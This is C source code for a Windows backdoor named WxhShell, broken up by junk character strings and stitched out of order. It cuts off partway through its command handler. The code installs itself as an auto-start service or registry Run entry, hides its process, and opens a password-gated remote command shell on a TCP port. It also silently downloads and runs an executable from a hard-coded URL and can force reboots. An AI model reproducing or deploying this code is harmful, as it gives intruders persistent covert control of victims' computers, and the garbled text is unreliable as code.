g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <GaT|Hhc= NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T`?n,'!( &:No}6 if (!NtQueryInformationProcess) return 0; t!{x<9 l<xFnj hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +*C^:^jA if(!hProcess) return 0; f*<ps
o akC>s8tqlA if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )Oiev u_"| \i0-o8q@I CloseHandle(hProcess); A*F9\mjI5 nWGR5*e: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x%6hM|U if(hProcess==NULL) return 0; 3D[=b%2\ vTd-x>n HMODULE hMod; >jMH#TZaX char procName[255]; "15=ET unsigned long cbNeeded; ]G*$W+G] C2G |?= if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >S'>!w zh%qS~8Yv CloseHandle(hProcess); 2ce'fMV O&V[g>x"U if(strstr(procName,"services")) return 1; // 以服务启动 #ZlM?Q ;&
~929 return 0; // 注册表启动 !BUi)mo } BI.V0@qZ A$@o'Q;he // 主模块 Lm|al.Z int StartWxhshell(LPSTR lpCmdLine) Vv4H:BK$ { SA+d&H}Fc SOCKET wsl; _CE9B e\ BOOL val=TRUE; &$#99\/ int port=0; .S!-e$EJ struct sockaddr_in door; O>AFF@= Pq?*C;D if(wscfg.ws_autoins) Install(); 9"ugz^uKt AS|Rd+. port=atoi(lpCmdLine); y]'CXCml) dIJGB== if(port<=0) port=wscfg.ws_port; FJwt?3\u5 7`fY*O6 WSADATA data; Dtt-|_EMS if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X*O9JGh N09KVz2Q if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; =dGKF`tR setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -:SIS`0s door.sin_family = AF_INET; El
(/em door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8l23%iWxe door.sin_port = htons(port); JZ=5Bpw {ma;G[! if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GV8)Kor% closesocket(wsl); kA^A mfba return 1; a,n93-m(m } gz61FW 5B*qbM if(listen(wsl,2) == INVALID_SOCKET) { $.:3$et@/ closesocket(wsl); sPCMckt return 1; y5u\j{?Te } )gXTRkmw Wxhshell(wsl); _~A~+S} WSACleanup(); DYRE1! 6Z8l8:r-6 return 0; _z8;lt 0d4cE10 } %v4ZGtKC@ Tpzw=bC^ // 以NT服务方式启动 31}W6l88c VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9j#@p { A[H;WKn0 DWORD status = 0; C9jbv/c DWORD specificError = 0xfffffff; T~J?AKx ^i`*Wm@! serviceStatus.dwServiceType = SERVICE_WIN32; h|p[OecG serviceStatus.dwCurrentState = SERVICE_START_PENDING; T//S, serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Df@/cT serviceStatus.dwWin32ExitCode = 0; u+2Lm*M serviceStatus.dwServiceSpecificExitCode = 0; 2EfflZL3 serviceStatus.dwCheckPoint = 0; "HC)/)Mv@ serviceStatus.dwWaitHint = 0; c7qwNs*f [H,u)8) hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !8$RBD % if (hServiceStatusHandle==0) return;
YqU/\f+ JJ5C}`( status = GetLastError();
zu<3^=3 if (status!=NO_ERROR) $Ha%Gr { ,4Y*:JU4 serviceStatus.dwCurrentState = SERVICE_STOPPED; 1TRN~#ix serviceStatus.dwCheckPoint = 0; lLCdmxbT serviceStatus.dwWaitHint = 0; #C\4/g?=, serviceStatus.dwWin32ExitCode = status; <*Y'lV serviceStatus.dwServiceSpecificExitCode = specificError; ~ E *d G SetServiceStatus(hServiceStatusHandle, &serviceStatus); z+3 9ee return; R2LK.bTVn } Y&~M7TY b s'L?;:)dyB serviceStatus.dwCurrentState = SERVICE_RUNNING; a+?~;.i~ serviceStatus.dwCheckPoint = 0; 'm O2t~n serviceStatus.dwWaitHint = 0; 6[?}6gQ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sX:lE^)-z } XnXb&@Y !Iq{ 5: // 处理NT服务事件,比如:启动、停止 &1GUi{I VOID WINAPI NTServiceHandler(DWORD fdwControl) |(ocDmd { Z;b+>2oL switch(fdwControl) A}G|Yfn { E*|tOj9`1n case SERVICE_CONTROL_STOP: -_~)f{KN@ serviceStatus.dwWin32ExitCode = 0; Z@J.1SaB serviceStatus.dwCurrentState = SERVICE_STOPPED; l2&hBacT serviceStatus.dwCheckPoint = 0; &qRJceT( serviceStatus.dwWaitHint = 0; ~m`!;rE { V8"Wpl9Cz SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0YS?=oi } QIV%6q+*R return; h^M^7S case SERVICE_CONTROL_PAUSE: %^.P~s6 serviceStatus.dwCurrentState = SERVICE_PAUSED; K{b-TT
4 break; Q%5F ]`VN case SERVICE_CONTROL_CONTINUE: k^%_V|&W/( serviceStatus.dwCurrentState = SERVICE_RUNNING; j>'B[ break; ZnXejpj)D case SERVICE_CONTROL_INTERROGATE: N[k<@Q?*a break; vv/J 5#^,\ }; Kt
` SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4P kfUMX } Z$;"8XUM F~_;o+e;X // 标准应用程序主函数 &KqVN]1+^ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^M|K;jt> { oJY[{-qW #@Y/{[s|@ // 获取操作系统版本 2k1aX~? OsIsNt=GetOsVer(); QnKC#
GetModuleFileName(NULL,ExeFile,MAX_PATH); _Bk
U+=|J )saR0{e0N // 从命令行安装 Q$=*aUU%G if(strpbrk(lpCmdLine,"iI")) Install(); m0( E kK QzthTX< // 下载执行文件 yFM>T\@ if(wscfg.ws_downexe) { i_U}{|j if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kh?. K# WinExec(wscfg.ws_filenam,SW_HIDE); Eark) } 9L)L|4A.l I/p]DT if(!OsIsNt) { ixw(c&gL // 如果时win9x,隐藏进程并且设置为注册表启动 % vS8?nG HideProc(); 8tQ|-l* StartWxhshell(lpCmdLine); vJCf~' } t ;-L{`mW else H_B~P%E@] if(StartFromService()) vA-PR& // 以服务方式启动 3"rkko?A StartServiceCtrlDispatcher(DispatchTable); agsISu( else 3Gd0E;3sk~ // 普通方式启动 I@./${o StartWxhshell(lpCmdLine); >XE`h9 ,w`~K:b. return 0; yJD>ny } y1,5$0@G U e*$&VlT {ZqQ!!b K$-;;pUl =========================================== +hH}h?K
Lq04T0 F6dr _413\`%8? xzk}[3P{ z="L4 " $D_HZ"ytu JR1*|u #include <stdio.h> H/jm
f5 #include <string.h> \ 4gXY$`@ #include <windows.h> $G[KT):N #include <winsock2.h> ,")F[%v #include <winsvc.h> \4s;!R! #include <urlmon.h> H;I~N*ltJ( Z .Pi0c+ #pragma comment (lib, "Ws2_32.lib") }gCHQ;U7` #pragma comment (lib, "urlmon.lib") POGw`:)A M#M?1(O/NE #define MAX_USER 100 // 最大客户端连接数 |I1+"Mp #define BUF_SOCK 200 // sock buffer 6tdI6 #define KEY_BUFF 255 // 输入 buffer $Jf9;. r/AHJU3&eY #define REBOOT 0 // 重启 }ND'0*# #define SHUTDOWN 1 // 关机 Q!$IQJ]|Y D 'L{wm #define DEF_PORT 5000 // 监听端口 ;Qa;@ detL jlE #define REG_LEN 16 // 注册表键长度 (hf zM+2 #define SVC_LEN 80 // NT服务名长度 j=j+Nf$ o#e7,O // 从dll定义API `C'}e typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); afm_ Rrg[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'h}7YP, w typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d8:C3R typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Gah lS*W }1>atgq]w // wxhshell配置信息 9^zx8MRXd struct WSCFG { t!jwY /T int ws_port; // 监听端口 V2<i/6~ char ws_passstr[REG_LEN]; // 口令 >&hX&,hG int ws_autoins; // 安装标记, 1=yes 0=no ;0j*>fb\q7 char ws_regname[REG_LEN]; // 注册表键名 k/#>S*Ne char ws_svcname[REG_LEN]; // 服务名 u(hC^T1 char ws_svcdisp[SVC_LEN]; // 服务显示名 263*: Y char ws_svcdesc[SVC_LEN]; // 服务描述信息 btQet. char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N!m%~kS9k< int ws_downexe; // 下载执行标记, 1=yes 0=no T
% / char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;3UvkN char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3; y_mg E@pFTvo }; F=i!d,S NI\H
\#bJ // default Wxhshell configuration h{/ve`F>@ struct WSCFG wscfg={DEF_PORT, x,1=D~L} "xuhuanlingzhe", A&l7d0Z^j5 1, \n0gTwiO% "Wxhshell", k7Oy5$## "Wxhshell", Jpx'W "WxhShell Service", f)^t') "Wrsky Windows CmdShell Service", "Ot{^_e "Please Input Your Password: ", MPvWCPB 1, qGa<@ b "http://www.wrsky.com/wxhshell.exe", KjYDFrR4 "Wxhshell.exe" ,?y7,nb }; HRHrSf7 D rTM$) // 消息定义模块 c[{UI char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (1 yGg==W. char *msg_ws_prompt="\n\r? for help\n\r#>"; %#9P?COs&W char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .,mM%w,^O char *msg_ws_ext="\n\rExit."; ^zeL+(@ r/ char *msg_ws_end="\n\rQuit."; 4Hd Si char *msg_ws_boot="\n\rReboot..."; IMaYEO[ char *msg_ws_poff="\n\rShutdown..."; $8@+j[> char *msg_ws_down="\n\rSave to "; W 5I=X]& \`gEu{ char *msg_ws_err="\n\rErr!"; i+AUQ0Zbf6 char *msg_ws_ok="\n\rOK!"; `,Zb2" g)cY\`&W8 char ExeFile[MAX_PATH]; }
J(1V!EA int nUser = 0; x@Vt[}e HANDLE handles[MAX_USER]; ^0Q'./A{& int OsIsNt; ee<H@LeG J@<!q SERVICE_STATUS serviceStatus; G>0)I SERVICE_STATUS_HANDLE hServiceStatusHandle; f".q9{+p, ue9h // 函数声明 J)huy\>, int Install(void); ^j iE9k) int Uninstall(void); 8t\}c6/3" int DownloadFile(char *sURL, SOCKET wsh); Ky6+~> int Boot(int flag); 6eo4#/+% void HideProc(void); H:Lt$ int GetOsVer(void); ;^ov~PPl int Wxhshell(SOCKET wsl); >13/h]3 void TalkWithClient(void *cs); l0#4Fma int CmdShell(SOCKET sock); $WClpvVj int StartFromService(void); * gHCy4u{ int StartWxhshell(LPSTR lpCmdLine); nNs .,J) [`9^QEj VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *;X-\6 VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;NG1{]|Z mt^`1ekoY // 数据结构和表定义 \!4|tBKVY SERVICE_TABLE_ENTRY DispatchTable[] = ;q&0,B { [Q:f-<nH {wscfg.ws_svcname, NTServiceMain}, to51hjV {NULL, NULL} u
GIr&`S };
ol#yjrv 4Pf+]R // 自我安装 "ZqEP R) int Install(void) ZM
8U]0[X { BPiiexTV9 char svExeFile[MAX_PATH]; E[*0Bo] HKEY key; 7vq
DZg strcpy(svExeFile,ExeFile); Dt|fDw$]D _<2RYXBC // 如果是win9x系统,修改注册表设为自启动 WP!il(Gr if(!OsIsNt) { F-tFet
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Iy.mVtcsZ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^Rk^XQCh RegCloseKey(key); %GVN4y& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ) H+d.Y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ETg{yBsp RegCloseKey(key); HSC6;~U return 0; h[,XemwX } Oc~VHT } H\d;QN9Q; } kw#X]`c3 else { S2bexbp0o D@*|2 4y // 如果是NT以上系统,安装为系统服务 [tz
u;/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u]SZ{[e if (schSCManager!=0) 90(UgK&Y { ?#i|>MRR> SC_HANDLE schService = CreateService jf 8w7T ( kAt
RY4p schSCManager, GqMB^Ad wscfg.ws_svcname, Q2FQhc@L(: wscfg.ws_svcdisp, X7b!;%3@ SERVICE_ALL_ACCESS, |
F8]Xnds SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L,
#Byao SERVICE_AUTO_START, S<9gyW SERVICE_ERROR_NORMAL, ,A?{~?u. svExeFile, @x*.5:[ NULL, EFD?di)s NULL, b(1:w"wD NULL, d96fjj~ NULL, $-e=tWkgv NULL YLE/w @* ); Zg2]GJP if (schService!=0) +dJ&tuL:S { N-xnenci CloseServiceHandle(schService); eZA6D\ CloseServiceHandle(schSCManager); q6Rw4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d&?F#$> 7| strcat(svExeFile,wscfg.ws_svcname); \D ^7Z97 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { moe/cO5a9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N|o>%)R RegCloseKey(key); ;)P5#S!n- return 0; "5y<G:$+~ } JC/d:. } T"IW Jpc CloseServiceHandle(schSCManager); R7,pukK } /RMer
Xj } SbCJ|z#? -GFwFkWm return 1; l-XnB } n~.% p [Zh2DNp // 自我卸载 k5q(7&C int Uninstall(void) m+p4Mc%u { URk$}_39 HKEY key; GG*BN<(>! u!M&;QL if(!OsIsNt) { aw]8V:)$J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k,AM]H RegDeleteValue(key,wscfg.ws_regname); F~%|3a$Y RegCloseKey(key); ML"_CQlE7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { waBRQh RegDeleteValue(key,wscfg.ws_regname); @\+%GDv RegCloseKey(key); M`(;>Kp7 return 0; {rz>^ } raSF3b/0 } @}ZGY^ } + 2OZJVJ else { ~R)1nN| =1eV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G}Gb|sD
Zq if (schSCManager!=0) }!Xf&c{7{ { DhHtz.6 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N-Qu/,~+ if (schService!=0) x4@MO|C { Cy]" if(DeleteService(schService)!=0) { . c#90RP CloseServiceHandle(schService); Oxpo6G CloseServiceHandle(schSCManager); 58 kv#;j return 0; 2lF WW(
} aD0Q 0C+ CloseServiceHandle(schService); n&(3o6i' } ixg\[5.Q+ CloseServiceHandle(schSCManager); Rz)v-Yu } u4@, *tT } 2m|Eoc&M_ hjw4Xzju return 1; t2~"B&7My } /nwxuy /FoUo // 从指定url下载文件 D\@e{.$MZ| int DownloadFile(char *sURL, SOCKET wsh) $#D
n 4 { cn@03&dAl HRESULT hr; bOi};/f char seps[]= "/"; Oib[\O7[z char *token; }#1UD char *file; 5aa}FdUq char myURL[MAX_PATH]; K3j_C`Se char myFILE[MAX_PATH]; "4KkKi X>3iYDe strcpy(myURL,sURL); &~z+ R="= token=strtok(myURL,seps); tX+0 GLz while(token!=NULL) cAYa=}~< { ;O Q#@|D file=token; <Sz>ZIISd token=strtok(NULL,seps); )r-T= } *xEI
Zx CX1L(Y[ GetCurrentDirectory(MAX_PATH,myFILE); .i1jFwOd|G strcat(myFILE, "\\"); b0!*mrF]6 strcat(myFILE, file); 3csm`JVK send(wsh,myFILE,strlen(myFILE),0); M-{b send(wsh,"...",3,0); vd2uD2%con hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q@PJ)fwN if(hr==S_OK) oH!$eAU? return 0; `i"$*4#< else @$2`DI{_^ return 1; =ZxW8DK VFQq`!*i } EI[e+@J ,R7=]~<io" // 系统电源模块 SH .9!lQv int Boot(int flag) Gw{Gt]liq { Np|:dP9#} HANDLE hToken; =>gyc;{2K< TOKEN_PRIVILEGES tkp; }IxY(`:qs Bl>_&A) if(OsIsNt) { ho?|j"/7 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yBpW#1= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $q4 XcIX 7 tkp.PrivilegeCount = 1; 67Af} >Q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O|A~dj` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0IoXDx if(flag==REBOOT) { $)kk8Q4+K if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hY\Eh. return 0; Q
`J,dzY } L,s|gtv else { QO1A976o if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6i*ArGA
return 0; dSA
[3V } .WN;TjEg! } I!C(K^ else { WLg6-@kxXs if(flag==REBOOT) { -o=P85V if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~9`^72 return 0; r6gt9u: } @m !9"QhC else { TFiuz;*| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SX1Fyy6
w return 0; T! &[ } rahHJp.Ws } g]EQ2g_N1 6xDl=*&% return 1; EOd.Tyb!/ } ~:P8g<w
Pj1K // win9x进程隐藏模块 =]5DYRhX] void HideProc(void) y]~+ `9 { S0Rf>Eo4 7?n*t HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (hRgYwUa< if ( hKernel != NULL ) nzQYn { u8{@PlS pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `Yo-5h ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?<>,XyY FreeLibrary(hKernel); X:xC>4]gG' } D7gX,e Knw'h;,[ return; _D7HQ } H3UX{|[ o2 T/IJP // 获取操作系统版本 34++Rr [G int GetOsVer(void) Mc#O+'](f { vV:MS O'r OSVERSIONINFO winfo; R:pBbA7E winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qH{8n` GetVersionEx(&winfo); ~vjr;a(B if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >[E|p6jgT return 1; ei|*s+OZu else
8;+Hou return 0; kMJQeo79 } 3[|:sa8?s '
q=NTP // 客户端句柄模块 x3Dg%=R int Wxhshell(SOCKET wsl) Pi"tQyw39$ { \@
WsF$
SOCKET wsh; NbQMWU~7 struct sockaddr_in client; -Fok%iQ'5 DWORD myID; ,
$D&WH BRSgB-Rr7 while(nUser<MAX_USER) C-:SQf { 1O'* X int nSize=sizeof(client); =Nv=Q mO wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _($-dJ{ if(wsh==INVALID_SOCKET) return 1; CL<KBmW7 ,XBV }y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Dbkuh!R if(handles[nUser]==0) sBuq closesocket(wsh); <De3mZb else cciAMQhA nUser++; @3expC } 5.C[)`_ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P98X[0& -UD~>s return 0; NZ%~n:/V# } ?V\9,BTb) KHc/x8^9 // 关闭 socket "[".3V void CloseIt(SOCKET wsh) }G,SqpcG { @6i8RmOu} closesocket(wsh); &=6cz$]z nUser--; UVoLHd ExitThread(0); kb}]sj } 2XecP'+m <p L;- // 客户端请求句柄 J.1ln
=Y void TalkWithClient(void *cs) `
HE:D2b { u=v%7c2Mx} qeK SOCKET wsh=(SOCKET)cs; tE9_dR^K char pwd[SVC_LEN]; HA3SQ char cmd[KEY_BUFF]; -Y jv&5 char chr[1]; G
&rYz int i,j; mb*h73{{ +N(YR3 while (nUser < MAX_USER) { i6g[E4nk 3Ld ;zW if(wscfg.ws_passstr) { +{Vwz if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sKB-7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a m k42 //ZeroMemory(pwd,KEY_BUFF); ,TfI i=0; {,-5k.P[ while(i<SVC_LEN) { c[d'1=Qiy sWZtbW;) // 设置超时 jO3u]5}.6 fd_set FdRead; T>uWf#&pjs struct timeval TimeOut; &"j).Ogm4 FD_ZERO(&FdRead); G}?P
r4Gj FD_SET(wsh,&FdRead); , C@hTOT TimeOut.tv_sec=8; GFc TimeOut.tv_usec=0; Mp=kZs/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p`l[cVQ< if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
VjB`~ CXP $bt} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q3'B$,3O^ pwd=chr[0]; M;TfD if(chr[0]==0xd || chr[0]==0xa) { "JUQ)> !? pwd=0; ]x(2}h^S break; z:Zn.e*$b } * /Ry6Yu i++;
3NxaOO` } !wR{Y[Yu .L(j@I t // 如果是非法用户,关闭 socket 18w^7!F?~u if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g7}z
&S;_ } SeJFZ0p k4AE`[UE send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [TfV2j* e send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8.3_Wb(c s3E~X while(1) { m)]fJ_ Mb2 L32 ZeroMemory(cmd,KEY_BUFF); )}it,< <QoE_z`76 // 自动支持客户端 telnet标准 7%"\DLA j=0; uSQ>oi] while(j<KEY_BUFF) { :mtw}H 'F8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t>h
i$NX{p cmd[j]=chr[0]; =|JIY if(chr[0]==0xa || chr[0]==0xd) { ]{6yS9_tuI cmd[j]=0; Q}f}Jf3P break; N5an9r&z(1 } (7jB_ p% j++; n\ ',F } J)yy}[Fx lbuW*) // 下载文件 =UKR<@QrK if(strstr(cmd,"http://")) { c'Tu,- send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7D~O/#dcc if(DownloadFile(cmd,wsh)) =5=Vm[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); y>cmKE else *I1W+W`G send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e%v4,8 } e}4^N1'd/ else { 3;l>x/amk M^JZ]W( switch(cmd[0]) { >=W#z JO^
[@ // 帮助 ^Er`{|o6u case '?': { oY6|h3T=Q$ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NUnc"@ break; @)'@LF1Z } F)iGD~ // 安装
nIDsCu=A case 'i': { >/`cmNmb if(Install()) bq&S?! =s send(wsh,msg_ws_err,strlen(msg_ws_err),0); N[bf.5T else ?*mbce[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +G[HZ,FL break; Oi[9b } irw 7 // 卸载 < |